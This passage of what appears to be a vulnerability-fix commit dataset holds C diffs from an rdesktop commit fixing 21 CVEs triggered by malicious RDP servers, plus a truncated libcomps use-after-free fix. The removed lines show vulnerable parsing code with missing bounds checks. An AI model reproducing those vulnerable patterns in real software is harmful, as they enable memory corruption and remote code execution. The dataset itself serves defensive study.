((in_len < 0) || ((uint32)in_len >= (RD_UINT32_MAX / 2)))\n+\t{\n+\t\tlogger(Protocol, Error, \"rdp_in_unistr(), length of unicode data is out of bounds.\");\n+\t\tabort();\n+\t}\n+\n+\tif (!s_check_rem(s, in_len))\n+\t{\n+\t\trdp_protocol_error(\"rdp_in_unistr(), consume of unicode data from stream would overrun\", &packet);\n+\t}\n+\n \t// if not already open\n \tif (!icv_utf16_to_local)\n \t{\n", "related": false}, {"section": "@@ -1211,13 +1224,19 @@ process_demand_active(STREAM s)\n {\n \tuint8 type;\n \tuint16 len_src_descriptor, len_combined_caps;\n+\tstruct stream packet = *s;\n \n \t/* at this point we need to ensure that we have ui created */\n \trd_create_ui();\n \n \tin_uint32_le(s, g_rdp_shareid);\n \tin_uint16_le(s, len_src_descriptor);\n \tin_uint16_le(s, len_combined_caps);\n+\n+\tif (!s_check_rem(s, len_src_descriptor))\n+\t{\n+\t\trdp_protocol_error(\"rdp_demand_active(), consume of source descriptor from stream would overrun\", &packet);\n+\t}\n \tin_uint8s(s, len_src_descriptor);\n \n \tlogger(Protocol, Debug, \"process_demand_active(), shareid=0x%x\", g_rdp_shareid);\n", "related": false}, {"section": "@@ -1390,78 +1409,113 @@ process_pointer_pdu(STREAM s)\n \t}\n }\n \n-/* Process bitmap updates */\n-void\n-process_bitmap_updates(STREAM s)\n+/* Process TS_BITMAP_DATA */\n+static void\n+process_bitmap_data(STREAM s)\n {\n-\tuint16 num_updates;\n \tuint16 left, top, right, bottom, width, height;\n-\tuint16 cx, cy, bpp, Bpp, compress, bufsize, size;\n+\tuint16 cx, cy, bpp, Bpp, flags, bufsize, size;\n \tuint8 *data, *bmpdata;\n-\tint i;\n-\n+\t\n \tlogger(Protocol, Debug, \"%s()\", __func__);\n \n-\tin_uint16_le(s, num_updates);\n+\tstruct stream packet = *s;\n \n-\tfor (i = 0; i < num_updates; i++)\n-\t{\n-\t\tin_uint16_le(s, left);\n-\t\tin_uint16_le(s, top);\n-\t\tin_uint16_le(s, right);\n-\t\tin_uint16_le(s, bottom);\n-\t\tin_uint16_le(s, width);\n-\t\tin_uint16_le(s, height);\n-\t\tin_uint16_le(s, bpp);\n-\t\tBpp = (bpp + 7) / 8;\n-\t\tin_uint16_le(s, compress);\n-\t\tin_uint16_le(s, bufsize);\n-\n-\t\tcx = right - left + 1;\n-\t\tcy = bottom - top + 1;\n-\n-\t\tlogger(Graphics, Debug,\n-\t\t \"process_bitmap_updates(), [%d,%d,%d,%d], [%d,%d], bpp=%d, compression=%d\",\n-\t\t left, top, right, bottom, width, height, Bpp, compress);\n-\n-\t\tif (!compress)\n-\t\t{\n-\t\t\tint y;\n-\t\t\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n-\t\t\tfor (y = 0; y < height; y++)\n-\t\t\t{\n-\t\t\t\tin_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)],\n-\t\t\t\t\t width * Bpp);\n-\t\t\t}\n-\t\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n-\t\t\txfree(bmpdata);\n-\t\t\tcontinue;\n-\t\t}\n+\tin_uint16_le(s, left); /* destLeft */\n+\tin_uint16_le(s, top); /* destTop */\n+\tin_uint16_le(s, right); /* destRight */\n+\tin_uint16_le(s, bottom); /* destBottom */\n+\tin_uint16_le(s, width); /* width */\n+\tin_uint16_le(s, height); /* height */\n+\tin_uint16_le(s, bpp); /*bitsPerPixel */\n+\tBpp = (bpp + 7) / 8;\n+\tin_uint16_le(s, flags); /* flags */\n+\tin_uint16_le(s, bufsize); /* bitmapLength */\n \n+\tcx = right - left + 1;\n+\tcy = bottom - top + 1;\n \n-\t\tif (compress & 0x400)\n-\t\t{\n-\t\t\tsize = bufsize;\n-\t\t}\n-\t\telse\n-\t\t{\n-\t\t\tin_uint8s(s, 2);\t/* pad */\n-\t\t\tin_uint16_le(s, size);\n-\t\t\tin_uint8s(s, 4);\t/* line_size, final_size */\n-\t\t}\n-\t\tin_uint8p(s, data, size);\n+\t/* FIXME: There are a assumtion that we do not consider in\n+\t\tthis code. The value of bpp is not passed to\n+\t\tui_paint_bitmap() which relies on g_server_bpp for drawing\n+\t\tthe bitmap data.\n+\n+\t\tDoes this means that we can sanity check bpp with g_server_bpp ?\n+\t*/\n+\n+\tif (Bpp == 0 || width == 0 || height == 0)\n+\t{\n+ logger(Protocol, Warning, \"%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x\", __func__,\n+\t\t\t\tleft, top, right, bottom, width, height, bpp, flags);\n+\t\trdp_protocol_error(\"TS_BITMAP_DATA, unsafe size of bitmap data received from server\", &packet);\n+\t}\n+\n+\tif ((RD_UINT32_MAX / Bpp) <= (width * height))\n+\t{\n+\t\tlogger(Protocol, Warning, \"%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x\", __func__,\n+\t\t\t\tleft, top, right, bottom, width, height, bpp, flags);\n+\t\trdp_protocol_error(\"TS_BITMAP_DATA, unsafe size of bitmap data received from server\", &packet);\n+\t}\n+ \n+\tif (flags == 0)\n+\t{\n+\t\t/* read uncompressed bitmap data */\n+\t\tint y;\n \t\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n-\t\tif (bitmap_decompress(bmpdata, width, height, data, size, Bpp))\n+\t\tfor (y = 0; y < height; y++)\n \t\t{\n-\t\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n+\t\t\tin_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)], width * Bpp);\n \t\t}\n-\t\telse\n-\t\t{\n-\t\t\tlogger(Graphics, Warning,\n-\t\t\t \"process_bitmap_updates(), failed to decompress bitmap\");\n-\t\t}\n-\n+\t\t\n+\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n \t\txfree(bmpdata);\n+\t\treturn;\n+\t}\n+\n+\tif (flags & NO_BITMAP_COMPRESSION_HDR)\n+\t{\n+\t\tsize = bufsize;\n+\t}\n+\telse\n+\t{\n+\t\t/* Read TS_CD_HEADER */\n+\t\tin_uint8s(s, 2); /* skip cbCompFirstRowSize (must be 0x0000) */\n+\t\tin_uint16_le(s, size); /* cbCompMainBodySize */\n+\t\tin_uint8s(s, 2); /* skip cbScanWidth */\n+\t\tin_uint8s(s, 2); /* skip cbUncompressedSize */\n+\t}\n+\n+\t/* read compressed bitmap data */\n+\tif (!s_check_rem(s, size))\n+\t{\n+\t\trdp_protocol_error(\"process_bitmap_data(), consume of bitmap data from stream would overrun\", &packet);\n+\t}\n+\tin_uint8p(s, data, size);\n+\tbmpdata = (uint8 *) xmalloc(width * height * Bpp);\n+\tif (bitmap_decompress(bmpdata, width, height, data, size, Bpp))\n+\t{\n+\t\tui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);\n+\t}\n+\telse\n+\t{\n+\t\tlogger(Protocol, Warning, \"%s(), failed to decompress bitmap\", __func__);\n+\t}\n+\n+\txfree(bmpdata);\n+}\n+\n+/* Process TS_UPDATE_BITMAP_DATA */\n+void\n+process_bitmap_updates(STREAM s)\n+{\n+\tint i;\n+\tuint16 num_updates;\n+\t\n+\tin_uint16_le(s, num_updates); /* rectangles */\n+\n+\tfor (i = 0; i < num_updates; i++)\n+\t{\n+\t\tprocess_bitmap_data(s);\n \t}\n }\n \n", "related": false}, {"section": "@@ -2013,3 +2067,21 @@ rdp_disconnect(void)\n \tlogger(Protocol, Debug, \"%s()\", __func__);\n \tsec_disconnect();\n }\n+\n+/* Abort rdesktop upon protocol error\n+\n+ A protocol error is defined as:\n+\n+ - A value is outside specified range for example;\n+ bpp for a bitmap is not allowed to be greater than the\n+ value 32 but is represented by a byte in protocol.\n+\n+*/\n+void\n+rdp_protocol_error(const char *message, STREAM s)\n+{\n+\tlogger(Protocol, Error, \"%s(), %s\", __func__, message);\n+\tif (s)\n+\t\thexdump(s->p, s_length(s));\n+\texit(0);\n+}", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "constants.h", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -751,6 +751,9 @@ enum RDP_DESKTOP_ORIENTATION\n #define ENC_SALTED_CHECKSUM\t\t0x0010\n #define NO_BITMAP_COMPRESSION_HDR\t0x0400\n \n+/* [MS-RDPBCGR], TS_BITMAP_DATA, flags */\n+#define BITMAP_COMPRESSION 0x0001\n+\n /* orderFlags, [MS-RDPBCGR] 2.2.7.1.3 */\n #define NEGOTIATEORDERSUPPORT\t0x0002\n #define ZEROBOUNDSDELTASSUPPORT 0x0008", "sections": [{"section": "@@ -751,6 +751,9 @@ enum RDP_DESKTOP_ORIENTATION\n #define ENC_SALTED_CHECKSUM\t\t0x0010\n #define NO_BITMAP_COMPRESSION_HDR\t0x0400\n \n+/* [MS-RDPBCGR], TS_BITMAP_DATA, flags */\n+#define BITMAP_COMPRESSION 0x0001\n+\n /* orderFlags, [MS-RDPBCGR] 2.2.7.1.3 */\n #define NEGOTIATEORDERSUPPORT\t0x0002\n #define ZEROBOUNDSDELTASSUPPORT 0x0008", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "secure.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -296,6 +296,9 @@ sec_encrypt(uint8 * data, int length)\n void\n sec_decrypt(uint8 * data, int length)\n {\n+\tif (length <= 0)\n+\t\treturn;\n+\n \tif (g_sec_decrypt_use_count == 4096)\n \t{\n \t\tsec_update(g_sec_decrypt_key, g_sec_decrypt_update_key);\n@@ -848,9 +851,11 @@ sec_recv(RD_BOOL * is_fastpath)\n \tuint16 sec_flags;\n \tuint16 channel;\n \tSTREAM s;\n+\tstruct stream packet;\n \n \twhile ((s = mcs_recv(&channel, is_fastpath, &fastpath_hdr)) != NULL)\n \t{\n+\t\tpacket = *s;\n \t\tif (*is_fastpath == True)\n \t\t{\n \t\t\t/* If fastpath packet is encrypted, read data\n@@ -859,6 +864,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\tfastpath_flags = (fastpath_hdr & 0xC0) >> 6;\n \t\t\tif (fastpath_flags & FASTPATH_OUTPUT_ENCRYPTED)\n \t\t\t{\n+\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume fastpath signature from stream would overrun\", &packet);\n+\t\t\t\t}\n+\n \t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\tsec_decrypt(s->p, s->end - s->p);\n \t\t\t}\n@@ -875,6 +884,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\t{\n \t\t\t\tif (sec_flags & SEC_ENCRYPT)\n \t\t\t\t{\n+\t\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume encrypt signature from stream would overrun\", &packet);\n+\t\t\t\t\t}\n+\n \t\t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\t\tsec_decrypt(s->p, s->end - s->p);\n \t\t\t\t}\n@@ -889,6 +902,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\t\t{\n \t\t\t\t\tuint8 swapbyte;\n \n+\t\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume redirect signature from stream would overrun\", &packet);\n+\t\t\t\t\t}\n+\n \t\t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\t\tsec_decrypt(s->p, s->end - s->p);\n ", "sections": [{"section": "@@ -296,6 +296,9 @@ sec_encrypt(uint8 * data, int length)\n void\n sec_decrypt(uint8 * data, int length)\n {\n+\tif (length <= 0)\n+\t\treturn;\n+\n \tif (g_sec_decrypt_use_count == 4096)\n \t{\n \t\tsec_update(g_sec_decrypt_key, g_sec_decrypt_update_key);\n", "related": false}, {"section": "@@ -848,9 +851,11 @@ sec_recv(RD_BOOL * is_fastpath)\n \tuint16 sec_flags;\n \tuint16 channel;\n \tSTREAM s;\n+\tstruct stream packet;\n \n \twhile ((s = mcs_recv(&channel, is_fastpath, &fastpath_hdr)) != NULL)\n \t{\n+\t\tpacket = *s;\n \t\tif (*is_fastpath == True)\n \t\t{\n \t\t\t/* If fastpath packet is encrypted, read data\n", "related": false}, {"section": "@@ -859,6 +864,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\tfastpath_flags = (fastpath_hdr & 0xC0) >> 6;\n \t\t\tif (fastpath_flags & FASTPATH_OUTPUT_ENCRYPTED)\n \t\t\t{\n+\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume fastpath signature from stream would overrun\", &packet);\n+\t\t\t\t}\n+\n \t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\tsec_decrypt(s->p, s->end - s->p);\n \t\t\t}\n", "related": false}, {"section": "@@ -875,6 +884,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\t{\n \t\t\t\tif (sec_flags & SEC_ENCRYPT)\n \t\t\t\t{\n+\t\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume encrypt signature from stream would overrun\", &packet);\n+\t\t\t\t\t}\n+\n \t\t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\t\tsec_decrypt(s->p, s->end - s->p);\n \t\t\t\t}\n", "related": false}, {"section": "@@ -889,6 +902,10 @@ sec_recv(RD_BOOL * is_fastpath)\n \t\t\t\t{\n \t\t\t\t\tuint8 swapbyte;\n \n+\t\t\t\t\tif (!s_check_rem(s, 8)) {\n+\t\t\t\t\t\trdp_protocol_error(\"sec_recv(), consume redirect signature from stream would overrun\", &packet);\n+\t\t\t\t\t}\n+\n \t\t\t\t\tin_uint8s(s, 8);\t/* signature */\n \t\t\t\t\tsec_decrypt(s->p, s->end - s->p);\n ", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "orders.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -1259,11 +1259,17 @@ process_secondary_order(STREAM s)\n \tuint16 flags;\n \tuint8 type;\n \tuint8 *next_order;\n+\tstruct stream packet = *s;\n \n \tin_uint16_le(s, length);\n \tin_uint16_le(s, flags);\t/* used by bmpcache2 */\n \tin_uint8(s, type);\n \n+\tif (!s_check_rem(s, length + 7))\n+\t{\n+\t\trdp_protocol_error(\"process_secondary_order(), next order pointer would overrun stream\", &packet);\n+\t}\n+\n \tnext_order = s->p + (sint16) length + 7;\n \n \tswitch (type)", "sections": [{"section": "@@ -1259,11 +1259,17 @@ process_secondary_order(STREAM s)\n \tuint16 flags;\n \tuint8 type;\n \tuint8 *next_order;\n+\tstruct stream packet = *s;\n \n \tin_uint16_le(s, length);\n \tin_uint16_le(s, flags);\t/* used by bmpcache2 */\n \tin_uint8(s, type);\n \n+\tif (!s_check_rem(s, length + 7))\n+\t{\n+\t\trdp_protocol_error(\"process_secondary_order(), next order pointer would overrun stream\", &packet);\n+\t}\n+\n \tnext_order = s->p + (sint16) length + 7;\n \n \tswitch (type)", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "bitmap.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -794,15 +794,15 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\treplen = revcode;\n \t\t\t\t\tcollen = 0;\n \t\t\t\t}\n-\t\t\t\twhile (collen > 0)\n+\t\t\t\twhile (indexw < width && collen > 0)\n \t\t\t\t{\n \t\t\t\t\tcolor = CVAL(in);\n \t\t\t\t\t*out = color;\n \t\t\t\t\tout += 4;\n \t\t\t\t\tindexw++;\n \t\t\t\t\tcollen--;\n \t\t\t\t}\n-\t\t\t\twhile (replen > 0)\n+\t\t\t\twhile (indexw < width && replen > 0)\n \t\t\t\t{\n \t\t\t\t\t*out = color;\n \t\t\t\t\tout += 4;\n@@ -824,7 +824,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\treplen = revcode;\n \t\t\t\t\tcollen = 0;\n \t\t\t\t}\n-\t\t\t\twhile (collen > 0)\n+\t\t\t\twhile (indexw < width && collen > 0)\n \t\t\t\t{\n \t\t\t\t\tx = CVAL(in);\n \t\t\t\t\tif (x & 1)\n@@ -844,7 +844,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\tindexw++;\n \t\t\t\t\tcollen--;\n \t\t\t\t}\n-\t\t\t\twhile (replen > 0)\n+\t\t\t\twhile (indexw < width && replen > 0)\n \t\t\t\t{\n \t\t\t\t\tx = last_line[indexw * 4] + color;\n \t\t\t\t\t*out = x;", "sections": [{"section": "@@ -794,15 +794,15 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\treplen = revcode;\n \t\t\t\t\tcollen = 0;\n \t\t\t\t}\n-\t\t\t\twhile (collen > 0)\n+\t\t\t\twhile (indexw < width && collen > 0)\n \t\t\t\t{\n \t\t\t\t\tcolor = CVAL(in);\n \t\t\t\t\t*out = color;\n \t\t\t\t\tout += 4;\n \t\t\t\t\tindexw++;\n \t\t\t\t\tcollen--;\n \t\t\t\t}\n-\t\t\t\twhile (replen > 0)\n+\t\t\t\twhile (indexw < width && replen > 0)\n \t\t\t\t{\n \t\t\t\t\t*out = color;\n \t\t\t\t\tout += 4;\n", "related": false}, {"section": "@@ -824,7 +824,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\treplen = revcode;\n \t\t\t\t\tcollen = 0;\n \t\t\t\t}\n-\t\t\t\twhile (collen > 0)\n+\t\t\t\twhile (indexw < width && collen > 0)\n \t\t\t\t{\n \t\t\t\t\tx = CVAL(in);\n \t\t\t\t\tif (x & 1)\n", "related": false}, {"section": "@@ -844,7 +844,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)\n \t\t\t\t\tindexw++;\n \t\t\t\t\tcollen--;\n \t\t\t\t}\n-\t\t\t\twhile (replen > 0)\n+\t\t\t\twhile (indexw < width && replen > 0)\n \t\t\t\t{\n \t\t\t\t\tx = last_line[indexw * 4] + color;\n \t\t\t\t\t*out = x;", "related": false}]} +{"owner": "rdesktop", "repo": "rdesktop", "language": "C", "file_name": "rdpsnd.c", "commit_id": "4dca546d04321a610c1835010b5dad85163b65e1", "commit_message": "Malicious RDP server security fixes\n\nThis commit includes fixes for a set of 21 vulnerabilities in\nrdesktop when a malicious RDP server is used.\n\nAll vulnerabilities was identified and reported by Eyal Itkin.\n\n * Add rdp_protocol_error function that is used in several fixes\n * Refactor of process_bitmap_updates\n * Fix possible integer overflow in s_check_rem() on 32bit arch\n * Fix memory corruption in process_bitmap_data - CVE-2018-8794\n * Fix remote code execution in process_bitmap_data - CVE-2018-8795\n * Fix remote code execution in process_plane - CVE-2018-8797\n * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175\n * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175\n * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176\n * Fix Denial of Service in sec_recv - CVE-2018-20176\n * Fix minor information leak in rdpdr_process - CVE-2018-8791\n * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792\n * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793\n * Fix Denial of Service in process_bitmap_data - CVE-2018-8796\n * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798\n * Fix Denial of Service in process_secondary_order - CVE-2018-8799\n * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800\n * Fix major information leak in ui_clip_handle_data - CVE-2018-20174\n * Fix memory corruption in rdp_in_unistr - CVE-2018-20177\n * Fix Denial of Service in process_demand_active - CVE-2018-20178\n * Fix remote code execution in lspci_process - CVE-2018-20179\n * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180\n * Fix remote code execution in seamless_process - CVE-2018-20181\n * Fix remote code execution in seamless_process_line - CVE-2018-20182", "patch": "@@ -269,6 +269,12 @@ rdpsnd_process_training(STREAM in)\n \tuint16 tick;\n \tuint16 packsize;\n \tSTREAM out;\n+\tstruct stream packet = *in;\n+\n+\tif (!s_check_rem(in, 4))\n+\t{\n+\t\trdp_protocol_error(\"rdpsnd_process_training(), consume of training data from stream would overrun\", &packet);\n+\t}\n \n \tin_uint16_le(in, tick);\n \tin_uint16_le(in, packsize);\n@@ -445,6 +451,11 @@ rdpsnddbg_process(STREAM s)\n \tstatic char *rest = NULL;\n \tchar *buf;\n \n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"rdpsnddbg_process(), stream is in unstable state\", s);\n+\t}\n+\n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */\n \tbuf = (char *) xmalloc(pkglen + 1);", "sections": [{"section": "@@ -269,6 +269,12 @@ rdpsnd_process_training(STREAM in)\n \tuint16 tick;\n \tuint16 packsize;\n \tSTREAM out;\n+\tstruct stream packet = *in;\n+\n+\tif (!s_check_rem(in, 4))\n+\t{\n+\t\trdp_protocol_error(\"rdpsnd_process_training(), consume of training data from stream would overrun\", &packet);\n+\t}\n \n \tin_uint16_le(in, tick);\n \tin_uint16_le(in, packsize);\n", "related": false}, {"section": "@@ -445,6 +451,11 @@ rdpsnddbg_process(STREAM s)\n \tstatic char *rest = NULL;\n \tchar *buf;\n \n+\tif (!s_check(s))\n+\t{\n+\t\trdp_protocol_error(\"rdpsnddbg_process(), stream is in unstable state\", s);\n+\t}\n+\n \tpkglen = s->end - s->p;\n \t/* str_handle_lines requires null terminated strings */\n \tbuf = (char *) xmalloc(pkglen + 1);", "related": false}]} +{"owner": "rpm-software-management", "repo": "libcomps", "language": "C", "file_name": "libcomps/src/comps_objmradix.c", "commit_id": "e3a5d056633677959ad924a51758876d415e7046", "commit_message": "Fix UAF in comps_objmrtree_unite function\n\nThe added field is not used at all in many places and it is probably the\nleft-over of some copy-paste.", "patch": "@@ -285,7 +285,6 @@ void comps_objmrtree_unite(COMPS_ObjMRTree *rt1, COMPS_ObjMRTree *rt2) {\n struct Pair {\n COMPS_HSList * subnodes;\n char * key;\n- char added;\n } *pair, *parent_pair;\n \n pair = malloc(sizeof(struct Pair));\n@@ -303,7 +302,6 @@ void comps_objmrtree_unite(COMPS_ObjMRTree *rt1, COMPS_ObjMRTree *rt2) {\n parent_pair = (struct Pair*) it->data;\n free(it);\n \n- pair->added = 0;\n for (it = tmp_subnodes->first; it != NULL; it=it->next) {\n pair = malloc(sizeof(struct Pair));\n pair->subnodes = ((COMPS_ObjMRTreeData*)it->data)->subnodes;", "sections": [{"section": "@@ -285,7 +285,6 @@ void comps_objmrtree_unite(COMPS_ObjMRTree *rt1, COMPS_ObjMRTree *rt2) {\n struct Pair {\n COMPS_HSList * subnodes;\n char * key;\n- char added;\n } *pair, *parent_pair;\n \n pair = malloc(sizeof(struct Pair));\n", "related": true}, {"section": "@@ -303,7 +302,6 @@ void comps_objmrtree_unite(COMPS_ObjMRTree *rt1, COMPS_ObjMRTree *rt2) {\n parent_pair = (struct Pair*) it->data;\n free(it);\n \n- pair->added = 0;\n for (it = tmp_subnodes->first; it != NULL; it=it->next) {\n pair = malloc(sizeof(struct Pair));\n pair->subnodes = 